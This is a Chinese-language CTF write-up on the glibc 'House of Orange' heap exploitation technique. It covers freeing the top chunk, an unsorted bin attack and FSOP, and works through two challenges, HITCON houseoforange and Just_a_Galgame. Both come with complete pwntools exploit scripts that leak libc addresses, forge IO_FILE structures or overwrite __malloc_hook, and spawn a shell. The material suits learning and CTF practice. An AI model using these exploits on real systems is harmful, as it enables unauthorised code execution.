作者: Alter@星盟
House of orange
1、原理概述
house of orange其实是一个组合漏洞,主要针对于没有free函数的程序。因为没有free函数所以需要通过申请比top chunk size大的chunk,讲top chunk放到unsorted bin中,然后利用unsorted bin attack结合FSOP,也就是通过修改IO_list_all劫持到伪造的IO_FILE结构上,从而getshell。
需要注意的是这种方法只适用于libc-2.23及之前的版本,2.23之后的版本增加了vtable check,也有办法绕过,具体参照ex师傅的博客:
http://blog.eonew.cn/archives/1093#glibc-227
但是2.27及之后的版本取消了abort刷新流的操作,所以这个方法基本就失效了
2、free top chunk
当申请的size大于top chunk的时候,会调用sysmalloc进行分配,这时会分为两种情况:
如果我们申请的size>=mp_.mmap_threshold(0x20000),就会调用mmap分配;
如果没有满足上述条件,就会扩展top chunk,也就是free old top chunk,再重新申请一个top chunk,但是这个过程中还有两个assert检查:
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size));
brk = snd_brk = (char *) (MORECORE_FAILURE);
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & pagemask) == 0));
/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
第一个assert需要top chunk的size满足以下条件:
(1)top chunk size>MINISIZE(0x10),总之就是不能太小
(2)top chunk需要有pre_inuse的标志,也就是最后一位需要是1
(3)old_top+old_size的值是页对齐的
一般来说top chunk的size都是0x20af1这样子的,我们修改的时候只需要保持最后3个数不变即可,上述例子就是修改为0xaf1,这样就可以满足第一个assert的判断
第二个assert的检查:
(4)top chunk size小于申请的size
一般我们按照上面的方法修改top chunk size,都是<0x1000,所以这里我们申请0x1000就可以满足第二个assert
满足上面两个assetr的条件之后,top chunk就会被free到unsorted bin中,然后重新申请一个top chunk,此时我们达到了目的,不使用free函数获得一个unsorted bin中的chunk
3、FSOP
参照ctfWiki,下面是我对ctfWiki的整理:
由IO_FILE的介绍可知,进程中所有的FILE结构体会通过_chain域构成一个链表,IO_list_all就是作为头结点维护的
FSOP的原理就是劫持IO_list_all的值伪造链表和其中的IO_FILE结构体,主要就是将vtable的值修改为我们伪造了函数指针的fake_FILE地址。但是单纯的伪造数据还不够,需要找到一个机制触发,执行我们伪造的数据。FSOP采用的就是调用IO_flush_all_lockp,这个函数会刷新IO_list_all链表中所有项的文件流,相当于对每个文件流调用了fflush函数,所以对应着也调用了IO_overflow,而这个函数需要通过vtable的函数指针调用。之前我们已经将vtable伪造,所以最终实现控制程序流。
而_IO_flush_all_lockp不需要攻击者手动调用,在一些情况下这个函数会被系统调用:
- 当libc执行abort流程时
- 当执行exit函数时
- 当执行流从main函数返回时
其实在一般情况下,也就是在house of orange的题目中,_IO_flush_all_lockp的调用关系是这样的:
libc_malloc => malloc_printerr => libc_message => abort => _IO_flush_all_lockp
ctf-wiki中的示意图如下:
在调用_IO_flush_all_lockp的过程中的源代码如下:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))
&& _IO_OVERFLOW (fp, EOF) == EOF)
{
result = EOF;
}
如果要调用IO_overflow还需要满足以下几个条件:
- fp->_mode <= 0
- fp->_IO_write_ptr > fp->_IO_write_base
所以我们需要分配一块可控的内存,一般就是堆上的chunk,用于构造伪造的vtable和_IO_FILE,为了执行IO_overflow,我们需要绕过上面的if判断,假设已知_IO_write_ptr,_IO_write_base,_mode的偏移,这样我们就可以构造相应的数据
所以构造_mode=0,_IO_write_ptr=1,_IO_write_base=0,就可以绕过判断执行overflow
需要注意的是这种方法只适用于libc-2.23及之前的版本,2.23之后的版本增加了vtable check,也有办法绕过,具体参照ex师傅的博客:
http://blog.eonew.cn/archives/1093#glibc-227
但是2.27及之后的版本取消了abort刷新流的操作,所以这个方法基本就失效了
house of orange的主要过程就是通过unsorted bin attack修改IO_list_all,但是unsorted bin attack写入的地址不是我们可控的,写入的是main arena+88,所以需要通过某个中间媒介。我们发现在IO_list_all+0x68的位置是chain域(用于链接FILE结构体链表的指针域),然后又发现main arena+88+0x68的位置是smallbin中size=0x60的chunk数组,这个smallbin中0x60的数组中的chunk是我们可以构造的,也就是我们是可控的,所以可以在这里伪造fake file结构体。在house of orange中采用的方法就是将old top chunk的size修改为0x60这样就会被我们链入smallbin的0x60的数组中,同时在old top chunk中构造fake file结构体(就是FSOP中的构造方法),通过执行overflow的if判断(IO_write_base=0,IO_write_ptr=1,mode=0),布置好vtable和system函数,令_IO_file_jumps中overflow的函数指针是system函数,/bin/sh参数的话就布置到fake file结构体的开头,因为调用vtable中函数的时候,会将IO_FILE指针作为函数的参数。
需要注意的是house of orange中由于_mode因随机化有1/2的几率是负数,所以成功几率是1/2.
house of orange中的函数调用流程:
__libc_malloc => malloc_printerr => libc_message => abort => _IO_flush_all_lockp
malloc_printerr是malloc中用来打印错误的函数,所以house of orange最后getshell的时候前面会有一个报错,显示malloc出错了,这是正常现象,一开始我还以为哪里出问题了,,,
4、例题(hitcon-house of orange)
保护全开
有增改查函数,没有free函数
- build函数
只能使用4次,每次build的时候会申请3次,两次malloc和一次calloc,固定0x20大小的chunk作为标记chunk,calloc的chunk用于记录颜色和价格,中间的malloc会申请我们输入的size的chunk,最大0x1000,用于记录name
- upgrade函数
只能使用两次,要求我们再次输入length,并且没和build的length进行比较,所以这里存在堆溢出漏洞,最多可以输入0x1000字节数据
- show函数
就是将house中的信息打印出来,可以用于泄露地址信息
需要注意的是,这题没有一个堆数组,所有upgrade和show函数都是针对最新添加的那个house操作的
- 泄露libc地址
add(0x10,'a')
payload='a'*0x18+p64(0x21)+p32(1)+p32(0x1f)+p64(0)*2+p64(0xfa1)
edit(len(payload),payload)
add(0x1000,'a')
add(0x400,'a')
show()
libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-1601-0x3c4b20
print hex(libcbase)
先申请一个chunk,通过堆溢出修改top chunk的size,然后申请一个0x1000的chunk,将top chunk放入到unsorted bin中,然后申请一个largebin size的chunk,这样拿到的chunk中就会有main arena地址和heap的地址,只有申请largebin才有heap地址。
关于这里为什么只有申请largebin chunk切割unsorted bin才有fd_nextsize和bk_nextsize?
主要和malloc切割unsorted bin的机制有关,如果unsorted bin中只有一个chunk且这个chunk是last remainder chunk,这时我们申请的chunk是smallbin size,如果unsorted bin中的这个chunk大于我们申请的smallbin size+MINISIZE,这个unsorted bin chunk就会直接被分割出来我们所需的smallbin chunk,不会被整理到largebin中,所以没有fd_nextsize和bk_nextsize。但是我们如果申请largebin chunk的话,这个条件就不会满足,然后unsorted bin chunk就会先被整理到largebin中,再分割出一个largebin chunk给我们。
- 泄露heap地址
edit(0x10,'a'*16)
#z()
show()
rc(0x20)
heapbase=u64(rc(6).ljust(8,'\x00'))-0xc0
print hex(heapbase)
_IO_list_all=libcbase+libc.sym['_IO_list_all']
system=libcbase+libc.sym['system']
由于show函数遇到’\x00’就会停止打印,所以泄露出main arena之后还需要通过edit写入0x10个a,show打印出heap地址
- FSOP
payload='a'*0x400+p64(0)+p64(0x21)+'a'*0x10
fake_file='/bin/sh\x00'+p64(0x60)
fake_file+=p64(0)+p64(_IO_list_all-0x10)#unsorted bin attack
fake_file+=p64(0)+p64(1)#IO_write_ptr>IO_write_base
fake_file=fake_file.ljust(0xc0,'\x00')#_mode=0
payload+=fake_file
payload+=p64(0)*3+p64(heapbase+0x5c8)
payload+=p64(0)*2+p64(system)
#z()
edit(0x800,payload)
此时我们有一个0x400的chunk,unsorted bin中还有剩下的top chunk,因为存在堆溢出,所以unsorted bin中chunk是我们可以控制的,接下来根据FSOP的步骤,需要劫持_IO_list_all,根据上面的解释,我们通过unsorted bin attack将main arena+88的地址写入到_IO_list_all,同时将old top chunk也就是unsorted bin中的chunk的size修改为0x60且在old top chunk中布置伪造的IO_FILE,写入之后,old top chunk就会被链入smallbin的0x60数组中,这个数组的地址正好在伪造的IO_list_all的_chain域,所以old top chunk此时被放入了IO_FILE结构体链表中。
上面需要注意的就是/bin/sh的参数问题,/bin/sh参数的话就布置到fake file结构体的开头,因为调用vtable中函数的时候,会将IO_FILE指针作为函数的参数
查看一下是否IO_FILE结构体是否伪造成功:
发现构造成功,FSOP的条件满足,vtable就是指向我们的堆地址了
再看看vtable指向的IO_file_jumps是否构造成功:
发现_overflow函数指针地址处就是system函数地址
我们直接把IO_file_jumps布置到IO_FILE后面了,上图一个是vtable,一个是system函数
- 触发
ru(':')
sl('1')
所以当我们向unsorted bin申请chunk的时候就会触发unsorted bin attack,修改IO_list_all,然后调用malloc函数,此时会在第一个IO_FILE(_IO_list_all的地址,也就是main arena那块地址)中看是否满足FSOP的if条件,发现不满足,然后就会跳转到下一个IO_FILE结构体中,也就是smallbin 0x60数组中的old top chunk,这里我们之前就已经布置好了伪造的vtable(偏移一般为216,0xd8)指向本身的堆地址,然后在vtable+0x18处(这个位置就是_overflow函数指针的位置)布置system的地址,注意FSOP需要绕过执行_overflow之前的if判断,也就是_mode=0,_IO_write_base=0,_IO_write_ptr=1这几个。
然后就会按照house of orange的执行流程:
libc_malloc => malloc_printerr => libc_message => abort => _IO_flush_all_lockp
from pwn import *
context(log_level='debug',arch='amd64')
local=1
binary_name='houseoforange_hitcon_2016'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',27493)
e=ELF("./"+binary_name)
libc=ELF("libc-2.23.so")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
rc=lambda x:p.recv(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda : p.interactive()
def add(size,name,price=1,color=1):
ru("Your choice : ")
sl('1')
ru("Length of name :")
sl(str(size))
ru("Name :")
sd(name)
ru("Price of Orange:")
sl(str(price))
ru("Color of Orange:")
sl(str(color))
def show():
ru("Your choice : ")
sl('2')
def edit(size,name,price=1,color=0xddaa):
ru("Your choice : ")
sl('3')
ru("Length of name :")
sl(str(size))
ru("Name:")
sd(name)
ru("Price of Orange:")
sl(str(price))
ru("Color of Orange:")
sl(str(color))
add(0x10,'a')
payload='a'*0x18+p64(0x21)+p32(1)+p32(0x1f)+p64(0)*2+p64(0xfa1)
edit(len(payload),payload)
add(0x1000,'a')
add(0x400,'a')
z()
show()
libcbase=u64(ru('\x7f')[-6:].ljust(8,'\x00'))-1601-0x3c4b20
print hex(libcbase)
edit(0x10,'a'*16)
#z()
show()
rc(0x20)
heapbase=u64(rc(6).ljust(8,'\x00'))-0xc0
print hex(heapbase)
_IO_list_all=libcbase+libc.sym['_IO_list_all']
system=libcbase+libc.sym['system']
payload='a'*0x400+p64(0)+p64(0x21)+'a'*0x10
fake_file='/bin/sh\x00'+p64(0x60)
fake_file+=p64(0)+p64(_IO_list_all-0x10)#unsorted bin attack
fake_file+=p64(0)+p64(1)#IO_write_ptr>IO_write_base
fake_file=fake_file.ljust(0xc0,'\x00')#_mode=0
payload+=fake_file
payload+=p64(0)*3+p64(heapbase+0x5c8)
payload+=p64(0)*2+p64(system)
#z()
edit(0x800,payload)
#z()
ru(':')
sl('1')
ia()
5、例题(Just_a_Galgame)
house of orange的组合漏洞一般只在低于libc-2.27的版本才奏效,但是house of orange中free top chunk的手法还是可以继续使用的,下面这题就是在libc-2.27的情况下free top chunk的情况。比赛的时候给的提示是house of orange,但其实和house of orange有关就只有free top chunk
House of orange泄露libc+数组越界漏洞
libc很快就泄露出来了,但是数组越界漏洞一直没看出来,还以为是2.23下house of orange的组合利用,需要劫持虚表,浪费了好多时间,最后还是没有做出来,看了wp才知道自己傻了,果然逆向的能力需要再提升一下
虽然没有PIE,但是full RELRO,所以无法修改got表
所有的功能都在main函数里实现了,没有分开成函数写,一个个来看
- add函数
固定只能申请0x68的chunk,没有什么漏洞
- edit函数
这个函数非常关键,漏洞都在这里,首先第一眼可以看到read这里存在堆溢出漏洞,因为我们申请的chunk大小固定0x68,可以修改下一个chunk的chunk head。
然后如果再看得仔细一点会发现,这里对idx的并没有做过多的检查,它只是检查了一下堆指针数组idx的那个位置有没有内容,如果有就可以往里写,没有检查idx是不是小于6,所以这里存在一个数组越界漏洞。
- addbig函数
就是申请一个0x1000大小的chunk,是用来free top chunk的
- show函数
将堆中的内容打印出来
- leave函数
这个函数也很关键,一开始我以为没啥用,之后觉得有用,但是不会用orz。
可以看到这里允许我们向0x4040a0这个地址写入一个8字节的内容,8字节,,,可以写一个地址,然后0x4040a0这个地址有点眼熟,往上看发现,堆指针数组地址是0x404060,两个地址非常接近
首先可以看到没有free函数,所以只能通过free top chunk来达到free的目的,edit函数允许我们修改top chunk的size,然后又有addbig函数可以申请0x1000的chunk,所以将top chunk放到unsorted bin的条件全部达成。又提供了show函数,所以我们可以直接泄露libc地址。
接下来就是比较骚的操作了,首先通过leave函数将malloc hook-0x60的地址写入到0x4040a0的地址中,然后因为edit函数存在数组越界漏洞,所以我们edit(8),0x404060+8*8=0x4040a0,if语句会判断这个地址是否有内容,而我们刚刚通过leave函数已经将malloc hook-0x60的地址写入0x4040a0,所以if满足,我们可以向malloc hook-0x60+0x60的地址写入内容,将one gadget写入,在执行add,getshell
from pwn import *
context.log_level='debug'
p=process("./Just_a_Galgame")
#p=remote('123.56.170.202',52114)
e=ELF("./Just_a_Galgame")
libc=ELF('libc-2.27.so')
def add():
p.recvuntil(">> ")
p.sendline('1')
def edit(idx,content):
p.recvuntil(">> ")
p.sendline('2')
p.recvuntil("idx >> ")
p.sendline(str(idx))
p.recvuntil("movie name >> ")
p.sendline(content)
def addb():
p.recvuntil(">> ")
p.sendline('3')
def show(idx):
p.recvuntil(">> ")
p.sendline('4')
p.recvuntil("Reciew your cgs >> \n")
p.sendline(str(idx))
def leave(content):
p.recvuntil(">> ")
p.sendline('5')
p.recvuntil("\nHotaru: Won't you stay with me for a while? QAQ\n\n")
p.send(content)
add()#0
payload=p64(0)+p64(0xd41)
edit(0,payload)
addb()
add()#1
#gdb.attach(p)
show(1)
main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-1632
print hex(main_arena)
libcbase=main_arena-0x3ebc40
print hex(libcbase)
one_gadget=libcbase+0x4f3c2
malloc_hook=libcbase+libc.sym['__malloc_hook']
leave(p64(malloc_hook-0x60))
edit(8,p64(one_gadget))
add()
p.interactive()
参考链接:
https://www.jianshu.com/p/1e45b785efc1
http://blog.eonew.cn/archives/1093#glibc-227